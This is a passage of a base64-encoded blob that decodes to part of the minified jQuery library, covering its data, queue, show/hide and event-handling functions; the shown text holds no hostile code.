HlwZSYmIVkuZ2V0KG8sImhhc0RhdGFBdHRycyIpKSl7dD1hLmxlbmd0aDt3aGlsZSh0LS0pYVt0XSYmMD09PShyPWFbdF0ubmFtZSkuaW5kZXhPZigiZGF0YS0iKSYmKHI9WChyLnNsaWNlKDUpKSxaKG8scixpW3JdKSk7WS5zZXQobywiaGFzRGF0YUF0dHJzIiwhMCl9cmV0dXJuIGl9cmV0dXJuIm9iamVjdCI9PXR5cGVvZiBuP3RoaXMuZWFjaChmdW5jdGlvbigpe1Euc2V0KHRoaXMsbil9KTpCKHRoaXMsZnVuY3Rpb24oZSl7dmFyIHQ7aWYobyYmdm9pZCAwPT09ZSlyZXR1cm4gdm9pZCAwIT09KHQ9US5nZXQobyxuKSk/dDp2b2lkIDAhPT0odD1aKG8sbikpP3Q6dm9pZCAwO3RoaXMuZWFjaChmdW5jdGlvbigpe1Euc2V0KHRoaXMsbixlKX0pfSxudWxsLGUsMTxhcmd1bWVudHMubGVuZ3RoLG51bGwsITApfSxyZW1vdmVEYXRhOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXtRLnJlbW92ZSh0aGlzLGUpfSl9fSksRS5leHRlbmQoe3F1ZXVlOmZ1bmN0aW9uKGUsdCxuKXt2YXIgcjtpZihlKXJldHVybiB0PSh0fHwiZngiKSsicXVldWUiLHI9WS5nZXQoZSx0KSxuJiYoIXJ8fEFycmF5LmlzQXJyYXkobik/cj1ZLmFjY2VzcyhlLHQsRS5tYWtlQXJyYXkobikpOnIucHVzaChuKSkscnx8W119LGRlcXVldWU6ZnVuY3Rpb24oZSx0KXt0PXR8fCJmeCI7dmFyIG49RS5xdWV1ZShlLHQpLHI9bi5sZW5ndGgsaT1uLnNoaWZ0KCksbz1FLl9xdWV1ZUhvb2tzKGUsdCk7ImlucHJvZ3Jlc3MiPT09aSYmKGk9bi5zaGlmdCgpLHItLSksaSYmKCJmeCI9PT10JiZuLnVuc2hpZnQoImlucHJvZ3Jlc3MiKSxkZWxldGUgby5zdG9wLGkuY2FsbChlLGZ1bmN0aW9uKCl7RS5kZXF1ZXVlKGUsdCl9LG8pKSwhciYmbyYmby5lbXB0eS5maXJlKCl9LF9xdWV1ZUhvb2tzOmZ1bmN0aW9uKGUsdCl7dmFyIG49dCsicXVldWVIb29rcyI7cmV0dXJuIFkuZ2V0KGUsbil8fFkuYWNjZXNzKGUsbix7ZW1wdHk6RS5DYWxsYmFja3MoIm9uY2UgbWVtb3J5IikuYWRkKGZ1bmN0aW9uKCl7WS5yZW1vdmUoZSxbdCsicXVldWUiLG5dKX0pfSl9fSksRS5mbi5leHRlbmQoe3F1ZXVlOmZ1bmN0aW9uKHQsbil7dmFyIGU9MjtyZXR1cm4ic3RyaW5nIiE9dHlwZW9mIHQmJihuPXQsdD0iZngiLGUtLSksYXJndW1lbnRzLmxlbmd0aDxlP0UucXVldWUodGhpc1swXSx0KTp2b2lkIDA9PT1uP3RoaXM6dGhpcy5lYWNoKGZ1bmN0aW9uKCl7dmFyIGU9RS5xdWV1ZSh0aGlzLHQsbik7RS5fcXVldWVIb29rcyh0aGlzLHQpLCJmeCI9PT10JiYiaW5wcm9ncmVzcyIhPT1lWzBdJiZFLmRlcXVldWUodGhpcyx0KX0pfSxkZXF1ZXVlOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oKXtFLmRlcXVldWUodGhpcyxlKX0pfSxjbGVhclF1ZXVlOmZ1bmN0aW9uKGUpe3JldHVybiB0aGlzLnF1ZXVlKGV8fCJmeCIsW10pfSxwcm9taXNlOmZ1bmN0aW9uKGUsdCl7dmFyIG4scj0xLGk9RS5EZWZlcnJlZCgpLG89dGhpcyxhPXRoaXMubGVuZ3RoLHM9ZnVuY3Rpb24oKXstLXJ8fGkucmVzb2x2ZVdpdGgobyxbb10pfTsic3RyaW5nIiE9dHlwZW9mIGUmJih0PWUsZT12b2lkIDApLGU9ZXx8ImZ4Ijt3aGlsZShhLS0pKG49WS5nZXQob1thXSxlKyJxdWV1ZUhvb2tzIikpJiZuLmVtcHR5JiYocisrLG4uZW1wdHkuYWRkKHMpKTtyZXR1cm4gcygpLGkucHJvbWlzZSh0KX19KTt2YXIgZWU9L1srLV0/KD86XGQqXC58KVxkKyg/OltlRV1bKy1dP1xkK3wpLy5zb3VyY2UsdGU9bmV3IFJlZ0V4cCgiXig/OihbKy1dKT18KSgiK2VlKyIpKFthLXolXSopJCIsImkiKSxuZT1bIlRvcCIsIlJpZ2h0IiwiQm90dG9tIiwiTGVmdCJdLHJlPVMuZG9jdW1lbnRFbGVtZW50LGllPWZ1bmN0aW9uKGUpe3JldHVybiBFLmNvbnRhaW5zKGUub3duZXJEb2N1bWVudCxlKX0sb2U9e2NvbXBvc2VkOiEwfTtyZS5nZXRSb290Tm9kZSYmKGllPWZ1bmN0aW9uKGUpe3JldHVybiBFLmNvbnRhaW5zKGUub3duZXJEb2N1bWVudCxlKXx8ZS5nZXRSb290Tm9kZShvZSk9PT1lLm93bmVyRG9jdW1lbnR9KTt2YXIgYWU9ZnVuY3Rpb24oZSx0KXtyZXR1cm4ibm9uZSI9PT0oZT10fHxlKS5zdHlsZS5kaXNwbGF5fHwiIj09PWUuc3R5bGUuZGlzcGxheSYmaWUoZSkmJiJub25lIj09PUUuY3NzKGUsImRpc3BsYXkiKX07ZnVuY3Rpb24gc2UoZSx0LG4scil7dmFyIGksbyxhPTIwLHM9cj9mdW5jdGlvbigpe3JldHVybiByLmN1cigpfTpmdW5jdGlvbigpe3JldHVybiBFLmNzcyhlLHQsIiIpfSx1PXMoKSxsPW4mJm5bM118fChFLmNzc051bWJlclt0XT8iIjoicHgiKSxjPWUubm9kZVR5cGUmJihFLmNzc051bWJlclt0XXx8InB4IiE9PWwmJit1KSYmdGUuZXhlYyhFLmNzcyhlLHQpKTtpZihjJiZjWzNdIT09bCl7dS89MixsPWx8fGNbM10sYz0rdXx8MTt3aGlsZShhLS0pRS5zdHlsZShlLHQsYytsKSwoMS1vKSooMS0obz1zKCkvdXx8LjUpKTw9MCYmKGE9MCksYy89bztjKj0yLEUuc3R5bGUoZSx0LGMrbCksbj1ufHxbXX1yZXR1cm4gbiYmKGM9K2N8fCt1fHwwLGk9blsxXT9jKyhuWzFdKzEpKm5bMl06K25bMl0sciYmKHIudW5pdD1sLHIuc3RhcnQ9YyxyLmVuZD1pKSksaX12YXIgdWU9e307ZnVuY3Rpb24gbGUoZSx0KXtmb3IodmFyIG4scixpLG8sYSxzLHUsbD1bXSxjPTAsZj1lLmxlbmd0aDtjPGY7YysrKShyPWVbY10pLnN0eWxlJiYobj1yLnN0eWxlLmRpc3BsYXksdD8oIm5vbmUiPT09biYmKGxbY109WS5nZXQociwiZGlzcGxheSIpfHxudWxsLGxbY118fChyLnN0eWxlLmRpc3BsYXk9IiIpKSwiIj09PXIuc3R5bGUuZGlzcGxheSYmYWUocikmJihsW2NdPSh1PWE9bz12b2lkIDAsYT0oaT1yKS5vd25lckRvY3VtZW50LHM9aS5ub2RlTmFtZSwodT11ZVtzXSl8fChvPWEuYm9keS5hcHBlbmRDaGlsZChhLmNyZWF0ZUVsZW1lbnQocykpLHU9RS5jc3MobywiZGlzcGxheSIpLG8ucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChvKSwibm9uZSI9PT11JiYodT0iYmxvY2siKSx1ZVtzXT11KSkpKToibm9uZSIhPT1uJiYobFtjXT0ibm9uZSIsWS5zZXQociwiZGlzcGxheSIsbikpKTtmb3IoYz0wO2M8ZjtjKyspbnVsbCE9bFtjXSYmKGVbY10uc3R5bGUuZGlzcGxheT1sW2NdKTtyZXR1cm4gZX1FLmZuLmV4dGVuZCh7c2hvdzpmdW5jdGlvbigpe3JldHVybiBsZSh0aGlzLCEwKX0saGlkZTpmdW5jdGlvbigpe3JldHVybiBsZSh0aGlzKX0sdG9nZ2xlOmZ1bmN0aW9uKGUpe3JldHVybiJib29sZWFuIj09dHlwZW9mIGU/ZT90aGlzLnNob3coKTp0aGlzLmhpZGUoKTp0aGlzLmVhY2goZnVuY3Rpb24oKXthZSh0aGlzKT9FKHRoaXMpLnNob3coKTpFKHRoaXMpLmhpZGUoKX0pfX0pO3ZhciBjZSxmZSxwZT0vXig/OmNoZWNrYm94fHJhZGlvKSQvaSxkZT0vPChbYS16XVteXC9cMD5ceDIwXHRcclxuXGZdKikvaSxoZT0vXiR8Xm1vZHVsZSR8XC8oPzpqYXZhfGVjbWEpc2NyaXB0L2k7Y2U9Uy5jcmVhdGVEb2N1bWVudEZyYWdtZW50KCkuYXBwZW5kQ2hpbGQoUy5jcmVhdGVFbGVtZW50KCJkaXYiKSksKGZlPVMuY3JlYXRlRWxlbWVudCgiaW5wdXQiKSkuc2V0QXR0cmlidXRlKCJ0eXBlIiwicmFkaW8iKSxmZS5zZXRBdHRyaWJ1dGUoImNoZWNrZWQiLCJjaGVja2VkIiksZmUuc2V0QXR0cmlidXRlKCJuYW1lIiwidCIpLGNlLmFwcGVuZENoaWxkKGZlKSx2LmNoZWNrQ2xvbmU9Y2UuY2xvbmVOb2RlKCEwKS5jbG9uZU5vZGUoITApLmxhc3RDaGlsZC5jaGVja2VkLGNlLmlubmVySFRNTD0iPHRleHRhcmVhPng8L3RleHRhcmVhPiIsdi5ub0Nsb25lQ2hlY2tlZD0hIWNlLmNsb25lTm9kZSghMCkubGFzdENoaWxkLmRlZmF1bHRWYWx1ZSxjZS5pbm5lckhUTUw9IjxvcHRpb24+PC9vcHRpb24+Iix2Lm9wdGlvbj0hIWNlLmxhc3RDaGlsZDt2YXIgZ2U9e3RoZWFkOlsxLCI8dGFibGU+IiwiPC90YWJsZT4iXSxjb2w6WzIsIjx0YWJsZT48Y29sZ3JvdXA+IiwiPC9jb2xncm91cD48L3RhYmxlPiJdLHRyOlsyLCI8dGFibGU+PHRib2R5PiIsIjwvdGJvZHk+PC90YWJsZT4iXSx0ZDpbMywiPHRhYmxlPjx0Ym9keT48dHI+IiwiPC90cj48L3Rib2R5PjwvdGFibGU+Il0sX2RlZmF1bHQ6WzAsIiIsIiJdfTtmdW5jdGlvbiB5ZShlLHQpe3ZhciBuO3JldHVybiBuPSJ1bmRlZmluZWQiIT10eXBlb2YgZS5nZXRFbGVtZW50c0J5VGFnTmFtZT9lLmdldEVsZW1lbnRzQnlUYWdOYW1lKHR8fCIqIik6InVuZGVmaW5lZCIhPXR5cGVvZiBlLnF1ZXJ5U2VsZWN0b3JBbGw/ZS5xdWVyeVNlbGVjdG9yQWxsKHR8fCIqIik6W10sdm9pZCAwPT09dHx8dCYmQShlLHQpP0UubWVyZ2UoW2VdLG4pOm59ZnVuY3Rpb24gdmUoZSx0KXtmb3IodmFyIG49MCxyPWUubGVuZ3RoO248cjtuKyspWS5zZXQoZVtuXSwiZ2xvYmFsRXZhbCIsIXR8fFkuZ2V0KHRbbl0sImdsb2JhbEV2YWwiKSl9Z2UudGJvZHk9Z2UudGZvb3Q9Z2UuY29sZ3JvdXA9Z2UuY2FwdGlvbj1nZS50aGVhZCxnZS50aD1nZS50ZCx2Lm9wdGlvbnx8KGdlLm9wdGdyb3VwPWdlLm9wdGlvbj1bMSwiPHNlbGVjdCBtdWx0aXBsZT0nbXVsdGlwbGUnPiIsIjwvc2VsZWN0PiJdKTt2YXIgbWU9Lzx8JiM/XHcrOy87ZnVuY3Rpb24geGUoZSx0LG4scixpKXtmb3IodmFyIG8sYSxzLHUsbCxjLGY9dC5jcmVhdGVEb2N1bWVudEZyYWdtZW50KCkscD1bXSxkPTAsaD1lLmxlbmd0aDtkPGg7ZCsrKWlmKChvPWVbZF0pfHwwPT09bylpZigib2JqZWN0Ij09PXcobykpRS5tZXJnZShwLG8ubm9kZVR5cGU/W29dOm8pO2Vsc2UgaWYobWUudGVzdChvKSl7YT1hfHxmLmFwcGVuZENoaWxkKHQuY3JlYXRlRWxlbWVudCgiZGl2IikpLHM9KGRlLmV4ZWMobyl8fFsiIiwiIl0pWzFdLnRvTG93ZXJDYXNlKCksdT1nZVtzXXx8Z2UuX2RlZmF1bHQsYS5pbm5lckhUTUw9dVsxXStFLmh0bWxQcmVmaWx0ZXIobykrdVsyXSxjPXVbMF07d2hpbGUoYy0tKWE9YS5sYXN0Q2hpbGQ7RS5tZXJnZShwLGEuY2hpbGROb2RlcyksKGE9Zi5maXJzdENoaWxkKS50ZXh0Q29udGVudD0iIn1lbHNlIHAucHVzaCh0LmNyZWF0ZVRleHROb2RlKG8pKTtmLnRleHRDb250ZW50PSIiLGQ9MDt3aGlsZShvPXBbZCsrXSlpZihyJiYtMTxFLmluQXJyYXkobyxyKSlpJiZpLnB1c2gobyk7ZWxzZSBpZihsPWllKG8pLGE9eWUoZi5hcHBlbmRDaGlsZChvKSwic2NyaXB0IiksbCYmdmUoYSksbil7Yz0wO3doaWxlKG89YVtjKytdKWhlLnRlc3Qoby50eXBlfHwiIikmJm4ucHVzaChvKX1yZXR1cm4gZn12YXIgYmU9L14oW14uXSopKD86XC4oLispfCkvO2Z1bmN0aW9uIHdlKCl7cmV0dXJuITB9ZnVuY3Rpb24gVGUoKXtyZXR1cm4hMX1mdW5jdGlvbiBDZShlLHQpe3JldHVybiBlPT09ZnVuY3Rpb24oKXt0cnl7cmV0dXJuIFMuYWN0aXZlRWxlbWVudH1jYXRjaChlKXt9fSgpPT0oImZvY3VzIj09PXQpfWZ1bmN0aW9uIFNlKGUsdCxuLHIsaSxvKXt2YXIgYSxzO2lmKCJvYmplY3QiPT10eXBlb2YgdCl7Zm9yKHMgaW4ic3RyaW5nIiE9dHlwZW9mIG4mJihyPXJ8fG4sbj12b2lkIDApLHQpU2UoZSxzLG4scix0W3NdLG8pO3JldHVybiBlfWlmKG51bGw9PXImJm51bGw9PWk/KGk9bixyPW49dm9pZCAwKTpudWxsPT1pJiYoInN0cmluZyI9PXR5cGVvZiBuPyhpPXIscj12b2lkIDApOihpPXIscj1uLG49dm9pZCAwKSksITE9PT1pKWk9VGU7ZWxzZSBpZighaSlyZXR1cm4gZTtyZXR1cm4gMT09PW8mJihhPWksKGk9ZnVuY3Rpb24oZSl7cmV0dXJuIEUoKS5vZmYoZSksYS5hcHBseSh0aGlzLGFyZ3VtZW50cyl9KS5ndWlkPWEuZ3VpZHx8KGEuZ3VpZD1FLmd1aWQrKykpLGUuZWFjaChmdW5jdGlvbigpe0UuZXZlbnQuYWRkKHRoaXMsdCxpLHIsbil9KX1mdW5jdGlvbiBFZShlLGksbyl7bz8oWS5zZXQoZSxpLCExKSxFLmV2ZW50LmFkZChlLGkse25hbWVzcGFjZTohMSxoYW5kbGVyOmZ1bmN0aW9uKGUpe3ZhciB0LG4scj1ZLmdldCh0aGlzLGkpO2lmKDEmZS5pc1RyaWdnZXImJnRoaXNbaV0pe2lmKHIubGVuZ3RoKShFLmV2ZW50LnNwZWNpYWxbaV18fHt9KS5kZWxlZ2F0ZVR5cGUmJmUuc3RvcFByb3BhZ2F0aW9uKCk7ZWxzZSBpZihyPXMuY2FsbChhcmd1bWVudHMpLFkuc2V0KHRoaXMsaSxyKSx0PW8odGhpcyxpKSx0aGlzW2ldKCksciE9PShuPVkuZ2V0KHRoaXMsaSkpfHx0P1kuc2V0KHRoaXMsaSwhMSk6bj17fSxyIT09bilyZXR1cm4gZS5zdG9wSW1tZWRpYXRlUHJvcGFnYXRpb24oKSxlLnByZXZlbnREZWZhdWx0KCksbiYmbi52YWx1ZX1lbHNlIHIubGVuZ3RoJiYoWS5zZXQodGhpcyxpLHt2YWx1ZTpFLmV2ZW50LnRyaWdnZXIoRS5leHRlbmQoclswXSxFLkV2ZW50LnByb3RvdHlwZSksci5zbGljZSgxKSx0aGlzKX0pLGUuc3RvcEltbWVkaWF0ZVByb3BhZ2F0aW9uKCkpfX0pKTp2b2lkIDA9PT1ZLmdldChlLGkpJiZFLmV2ZW50LmFkZChlLGksd2UpfUUuZXZlbnQ9e2dsb2JhbDp7fSxhZGQ6ZnVuY3Rpb24odCxlLG4scixpKXt2YXIgbyxhLHMsdSxsLGMsZixwLGQsaCxnLHk9WS5nZXQodCk7aWYoVih0KSl7bi5oYW5kbGVyJiYobj0obz1uKS5oYW5kbGVyLGk9by5zZWxlY3RvciksaSYmRS5maW5kLm1hdGNoZXNTZWxlY3RvcihyZSxpKSxuLmd1aWR8fChuLmd1aWQ9RS5ndWlkKyspLCh1PXkuZXZlbnRzKXx8KHU9eS5ldmVudHM9T2JqZWN0LmNyZWF0ZShudWxsKSksKGE9eS5oYW5kbGUpfHwoYT15LmhhbmRsZT1mdW5jdGlvbihlKXtyZXR1cm4idW5kZWZpbmVkIiE9dHlwZW9mIEUmJkUuZXZlbnQudHJpZ2dlcmVkIT09ZS50eXBlP0UuZXZlbnQuZGlzcGF0Y2guYXBwbHkodCxhcmd1bWVudHMpOnZvaWQgMH0pLGw9KGU9KGV8fCIiKS5tYXRjaChQKXx8WyIiXSkubGVuZ3RoO3doaWxlKGwtLSlkPWc9KHM9YmUuZXhlYyhlW2xdKXx8W10pWzFdLGg9KHNbMl18fCIiKS5zcGxpdCgiLiIpLnNvcnQoKSxkJiYoZj1FLmV2ZW50LnNwZWNpYWxbZF18fHt9LGQ9KGk/Zi5kZWxlZ2F0ZVR5cGU6Zi5iaW5kVHlwZSl8fGQsZj1FLmV2ZW50LnNwZWNpYWxbZF18fHt9LGM9RS5leHRlbmQoe3R5cGU6ZCxvcmlnVHlwZTpnLGRhdGE6cixoYW5kbGVyOm4sZ3VpZDpuLmd1aWQsc2VsZWN0b3I6aSxuZWVkc0NvbnRleHQ6aSYmRS5leHByLm1hdGNoLm5lZWRzQ29udGV4dC50ZXN0KGkpLG5hbWVzcGFjZTpoLmpvaW4oIi4iKX0sbyksKHA9dVtkXSl8fCgocD11W2RdPVtdKS5kZWxlZ2F0ZUNvdW50PTAsZi5zZXR1cCYmITEhPT1mLnNldHVwLmNhbGwodCxyLGgsYSl8fHQuYWRkRXZlbnRMaXN0ZW5lciYmdC5hZGRFdmVudExpc3RlbmVyKGQsYSkpLGYuYWRkJiYoZi5hZGQuY2FsbCh0LGMpLGMuaGFuZGxlci5ndWlkfHwoYy5oYW5kbGVyLmd1aWQ9bi5ndWlkKSksaT9wLnNwbGljZShwLmRlbGVnYXRlQ291bnQrKywwLGMpOnAucHVzaChjKSxFLmV2ZW50Lmdsb2JhbFtkXT0hMCl9fSxyZW1vdmU6ZnVuY3Rpb24oZSx0LG4scixpKXt2YXIgbyxhLHMsdSxsLGMsZixwLGQsaCxnLHk9WS5oYXNEYXRhKGUpJiZZLmdldChlKTtpZih5JiYodT15LmV2ZW50cykpe2w9KHQ9KHR8fCIiKS5tYXRjaChQKXx8WyIiXSkubGVuZ3RoO3doaWxlKGwtLSlpZihkPWc9KHM9YmUuZXhlYyh0W2xdKXx8W10pWzFdLGg9KHNbMl18fCIiKS5zcGxpdCgiLiIpLnNvcnQoKSxkKXtmPUUuZXZlbnQuc3BlY2lhbFtkXXx8e30scD11W2Q9KHI/Zi5kZWxlZ2F0ZVR5cGU6Zi5iaW5kVHlwZSl8fGRdfHxbXSxzPXNbMl0mJm5ldyBSZWdFeHAoIihefFxcLikiK2guam9pbigiXFwuKD86LipcXC58KSIpKyIoXFwufCQpIiksYT1vPXAubGVuZ3RoO3doaWxlKG8tLSljPXBbb10sIWkmJmchPT1jLm9yaWdUeXBlfHxuJiZuLmd1aWQhPT1jLmd1aWR8fHMmJiFzLnRlc3QoYy5uYW1lc3BhY2UpfHxyJiZyIT09Yy5zZWxlY3RvciYmKCIqKiIhPT1yfHwhYy5zZWxlY3Rvcil8fChwLnNwbGljZShvLDEpLGMuc2VsZWN0b3ImJnAuZGVsZWdhdGVDb3VudC0tLGYucmVtb3ZlJiZmLnJlbW92ZS5jYWxsKGUsYykpO2EmJiFwLmxlbmd0aCYmKGYudGVhcmRvd24mJiExIT09Zi50ZWFyZG93bi5jYWxsKGUsaCx5LmhhbmRsZSl8fEUucmVtb3ZlRXZlbnQoZSxkLHkuaGFuZGxlKSxkZWxldGUgdVtkXSl9ZWxzZSBmb3IoZCBpbiB1KUUuZXZlbnQucmVtb3ZlKGUsZCt0W2xdLG4sciwhMCk7RS5pc0VtcHR5T2JqZWN0KHUpJiZZLnJlbW92ZShlLCJoYW5kbGUgZXZlbnRzIil9fSxkaXNwYXRjaDpmdW5jdGlvbihlKXt2YXIgdCxuLHIsaSxvLGEscz1uZXcgQXJyYXkoYXJndW1lbnRzLmxlbmd0aCksdT1FLmV2ZW50LmZpeChlKSxsPShZLmdldCh0aGlzLCJldmVudHMiKXx8T2JqZWN0LmNyZWF0ZShudWxsKSlbdS50eXBlXXx8W10sYz1FLmV2ZW50LnNwZWNpYWxbdS50eXBlXXx8e307Zm9yKHNbMF09dSx0PTE7dDxhcmd1bWVudHMubGVuZ3RoO3QrKylzW3RdPWFyZ3VtZW50c1t0XTtpZih1LmRlbGVnYXRlVGFyZ2V0PXRoaXMsIWMucHJlRGlzcGF0Y2h8fCExIT09Yy5wcmVEaXNwYXRjaC5jYWxsKHRoaXMsdSkpe2E9RS5ldmVudC5oYW5kbGVycy5jYWxsKHRoaXMsdSxsKSx0PTA7d2hpbGUoKGk9YVt0KytdKSYmIXUuaXNQcm9wYWdhdGlvblN0b3BwZWQoKSl7dS5jdXJyZW50VGFyZ2V0PWkuZWxlbSxuPTA7d2hpbGUoKG89aS5oYW5kbGVyc1tuKytdKSYmIXUuaXNJbW1lZGlhdGVQcm9wYWdhdGlvblN0b3BwZWQoKSl1LnJuYW1lc3BhY2UmJiExIT09by5uYW1lc3BhY2UmJiF1LnJuYW1lc3BhY2UudGVzdChvLm5hbWVzcGFjZSl8fCh1LmhhbmRsZU9iaj1vLHUuZGF0YT1vLmRhdGEsdm9pZCAwIT09KHI9KChFLmV2ZW50LnNwZWNpYWxbby5vcmlnVHlwZV18fHt9KS5oYW5kbGV8fG8uaGFuZGxlcikuYXBwbHkoaS5lbGVtLHMpKSYmITE9PT0odS5yZXN1bHQ9cikmJih1LnByZXZlbnREZWZhdWx0KCksdS5zdG9wUHJvcGFnYXRpb24oKSkpfXJldHVybiBjLnBvc3REaXNwYXRjaCYmYy5wb3N0RGlzcGF0Y2guY2FsbCh0aGlzLHUpLHUucmVzdWx0fX0saGFuZGxlcnM6ZnVuY3Rpb24oZSx0KXt2YXIgbixyLGksbyxhLHM9W10sdT10LmRlbGVnYXRlQ291bnQsbD1lLnRhcmdldDtpZih1JiZsLm5vZGVUeXBlJiYhKCJjbGljayI9PT1lLnR5cGUmJjE8PWUuYnV0dG9uKSlmb3IoO2whPT10aGlzO2w9bC5wYXJlbnROb2RlfHx0aGlzKWlmKDE9PT1sLm5vZGVUeXBlJiYoImNsaWNrIiE9PWUudHlwZXx8ITAhPT1sLmRpc2FibGVkKSl7Zm9yKG89W10sYT17fSxuPTA7bjx1O24rKyl2b2lkIDA9PT1hW2k9KHI9dFtuXSkuc2VsZWN0b3IrIiAiXSYmKGFbaV09ci5uZWVkc0NvbnRleHQ/LTE8RShpLHRoaXMpLmluZGV4KGwpOkUuZmluZChpLHRoaXMsbnVsbCxbbF0pLmxlbmd0aCksYVtpXSYmby5wdXNoKHIpO28ubGVuZ3RoJiZzLnB1c2goe2VsZW06bCxoYW5kbGVyczpvfSl9cmV0dXJuIGw9dGhpcyx1PHQubGVuZ3RoJiZzLnB1c2goe2VsZW06bCxoYW5kbGVyczp0LnNsaWNlKHUpfSksc30sYWRkUHJvcDpmdW5jdGlvbih0LGUpe09iamVjdC5kZWZpbmVQcm9wZXJ0eShFLkV2ZW50LnByb3RvdHlwZSx0LHtlbnVtZXJhYmxlOiEwLGNvbmZpZ3VyYWJsZTohMCxnZXQ6bShlKT9mdW5jdGlvbigpe2lmKHRoaXMub3JpZ2luYWxFdmVudClyZXR1cm4gZSh0aGlzLm9yaWdpbmFsRXZlbnQpfTpmdW5jdGlvbigpe2lmKHRoaXMub3JpZ2luYWxFdmVudClyZXR1cm4gdGhpcy5vcmlnaW5hbEV2ZW50W3RdfSxzZXQ6ZnVuY3Rpb24oZSl7T2JqZWN0LmRlZmluZVByb3BlcnR5KHRoaXMsdCx7ZW51bWVyYWJsZTohMCxjb25maWd1cmFibGU6ITAsd3JpdGFibGU6ITAsdmFsdWU6ZX0pfX0pfSxmaXg6ZnVuY3Rpb24oZSl7cmV0dXJuIGVbRS5leHBhbmRvXT9lOm5ldyBFLkV2ZW50KGUpfSxzcGVjaWFsOntsb2FkOntub0J1YmJsZTohMH0sY2xpY2s6e3NldHVwOmZ1bmN0aW9uKGUpe3ZhciB0PXRoaXN8fGU7cmV0dXJuIHBlLnRlc3QodC50eXBlKSYmdC5jbGljayYmQSh0LCJpbnB1dCIpJiZFZSh0LCJjbGljayIsd2UpLCExfSx0cmlnZ2VyOmZ1bmN0aW9uKGUpe3ZhciB0PXRoaXN8fGU7cmV0dXJuIHBlLnRlc3QodC50eXBlKSYmdC5jbGljayYmQSh0LCJpbnB1dCIpJiZFZSh0LCJjbGljayIpLCEwfSxfZGVmYXVsdDpmdW5jdGlvbihlKXt2YXIgdD1lLnRhcmdldDtyZXR1cm4gcGUudGVzdCh0LnR5cGUpJiZ0LmNsaWNrJiZBKHQsImlucHV0IikmJlkuZ2V0KHQsImNsaWNrIil8fEEodCwiYSIpfX0sYmVmb3JldW5sb2FkOntwb3N0RGlzcGF0Y2g6ZnVuY3Rpb24oZSl7dm9pZCAwIT09ZS5yZXN1bHQmJmUub3JpZ2luYWxFdmVudCYmKGUub3JpZ2luYWxFdmVudC5yZXR1cm5WYWx1ZT1lLnJlc3VsdCl9fX19LEUucmVtb3ZlRXZlbnQ9ZnVuY3Rpb24oZSx0LG4pe2UucmVtb3ZlRXZlbnRMaXN0ZW5lciYmZS5yZW1vdmVFdmVudExpc3RlbmVyKHQsbil9LEUuRXZlbnQ9ZnVuY3Rpb24oZSx0KXtpZighKHRoaXMgaW5zdGFuY2VvZiBFLkV2ZW50KSlyZXR1cm4gbmV3IEUuRXZlbnQoZSx0KTtlJiZlLnR5cGU/KHRoaXMub3JpZ2luYWxFdmVudD1lLHRoaXMudHlwZT1lLnR5cGUsdGhpcy5pc0RlZmF1bHRQcmV2ZW50ZWQ9ZS5kZWZhdWx0UHJldmVudGVkfHx2b2lkIDA9PT1lLmRlZmF1bHRQcmV2ZW50ZWQmJiExPT09ZS5yZXR1cm5WYWx1ZT93ZTpUZSx0aGlzLnRhcmdldD1lLnRhcmdldCYmMz09PWUudGFyZ2V0Lm5vZGVUeXBlP2UudGFyZ2V0LnBhcmVudE5vZGU6ZS50YXJnZXQsdGhpcy5jdXJyZW50VGFyZ2V0PWUuY3VycmVudFRhcmdldCx0aGlzLnJlbGF0ZWRUYXJnZXQ9ZS5yZWxhdGVkVGFyZ2V0KTp0aGlzLnR5cGU9ZSx0JiZFLmV4dGVuZCh0aGlzLHQpLHRoaXMudGltZVN0YW1wPWUmJmUudGltZVN0YW1wfHxEYXRlLm5vdygpLHRoaXNbRS5leHBhbmRvXT0hMH0sRS5FdmVudC5wcm90b3R5cGU9e2NvbnN0cnVjdG9yOkUuRXZlbnQsaXNEZWZhdWx0UHJldmVudGVkOlRlLGlzUHJvcGFnYXRpb25TdG9wcGVkOlRlLGlzSW1tZWRpYXRlUHJvcGFnYXRpb25TdG9wcGVkOlRlLGlzU2ltdWxhdGVkOiExLHByZXZlbnREZWZhdWx0OmZ1bmN0aW9uKCl7dmFyIGU9dGhpcy5vcmlnaW5hbEV2ZW50O3RoaXMuaXNEZWZhdWx0UHJldmVudGVkPXdlLGUmJiF0aGlzLmlzU2ltdWxhdGVkJiZlLnByZXZlbnREZWZhdWx0KCl9LHN0b3BQcm9wYWdhdGlvbjpmdW5jdGlvbigpe3ZhciBlPXRoaXMub3JpZ2luYWxFdmVudDt0aGlzLmlzUHJvcGFnYXRpb25TdG9wcGVkPXdlLGUmJiF0aGlzLmlzU2ltdWxhdGVkJiZlLnN0b3BQcm9wYWdhdGlvbigpfSxzdG9wSW1tZWRpYXRlUHJvcGFnYXRpb246ZnVuY3Rpb24oKXt2YXIgZT10aGlzLm9yaWdpbmFsRXZlbnQ7dGhpcy5pc0ltbWVkaWF0ZVByb3BhZ2F0aW9uU3RvcHBlZD13ZSxlJiYhdGhpcy5pc1NpbXVsYXRlZCYmZS5zdG9wSW1tZWRpYXRlUHJvcGFnYXRpb24oKSx0aGlzLnN0b3BQcm9wYWdhdGlvbigpfX0sRS5lYWNoKHthbHRLZXk6ITAsYnViYmxlczohMCxjYW5jZWxhYmxlOiEwLGNoYW5nZWRUb3VjaGVzOiEwLGN0cmxLZXk6ITAsZGV0YWlsOiEwLGV2ZW50UGhhc2U6ITAsbWV0YUtleTohMCxwYWdlWDohMCxwYWdlWTohMCxzaGlmdEtleTohMCx2aWV3OiEwLCJjaGFyIjohMCxjb2RlOiEwLGNoYXJDb2RlOiEwLGtleTohMCxrZXlDb2RlOiEwLGJ1dHRvbjohMCxidXR0b25zOiEwLGNsaWVudFg6ITAsY2xpZW50WTohMCxvZmZzZXRYOiEwLG9mZnNldFk6ITAscG9pbnRlcklkOiEwLHBvaW50ZXJUeXBlOiEwLHNjcmVlblg6ITAsc2NyZWVuWTohMCx0YXJnZXRUb3VjaGVzOiEwLHRvRWxlbWVudDohMCx0b3VjaGVzOiEwLHdoaWNoOiEwfSxFLmV2ZW50LmFkZFByb3ApLEUuZWFjaCh7Zm9jdXM6ImZvY3VzaW4iLGJsdXI6ImZvY3Vzb3V0In0sZnVuY3Rpb24odCxlKXtFLmV2ZW50LnNwZWNpYWxbdF09e3NldHVwOmZ1bmN0aW9uKCl7cmV0dXJuIEVlKHRoaXMsdCxDZSk